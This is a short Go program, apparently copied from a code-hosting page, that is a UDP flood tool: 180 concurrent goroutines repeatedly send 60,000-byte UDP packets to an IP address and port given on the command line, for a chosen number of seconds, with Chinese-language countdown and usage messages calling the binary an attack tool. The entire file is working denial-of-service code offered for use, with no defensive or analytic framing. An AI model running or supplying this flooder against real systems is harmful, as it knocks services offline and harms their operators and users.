55 lines
1.1 KiB
Go
55 lines
1.1 KiB
Go
package main
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import (
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"fmt"
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"net"
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"os"
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"strconv"
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"time"
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)
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const THREADS = 180
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func attack(ip string, port int, duration int) {
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bytes := make([]byte, 60000)
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startTime := time.Now()
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endTime := startTime.Add(time.Duration(duration) * time.Second)
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for time.Now().Before(endTime) {
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conn, _ := net.Dial("udp", fmt.Sprintf("%s:%d", ip, port))
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conn.Write(bytes)
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conn.Close()
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time.Sleep(1 * time.Millisecond)
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}
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}
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func countdown(remainingTime int) {
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ticker := time.NewTicker(1 * time.Second)
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defer ticker.Stop()
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for i := remainingTime; i > 0; i-- {
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fmt.Printf("\r剩余结束时间: %d秒", i)
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<-ticker.C
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}
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fmt.Print("\r线程结束 \n")
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}
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func main() {
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var ip string
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var port int
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var attackDuration int
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if len(os.Args) < 4 {
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fmt.Println("请准确输入参数:例 ./Gofuck <IP地址> <端口> <攻击持续时间>")
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os.Exit(1)
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}
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ip = os.Args[1]
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port, _ = strconv.Atoi(os.Args[2])
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attackDuration, _ = strconv.Atoi(os.Args[3])
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go countdown(attackDuration)
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for i := 0; i < THREADS; i++ {
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go attack(ip, port, attackDuration)
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}
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time.Sleep(time.Second * time.Duration(attackDuration))
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}
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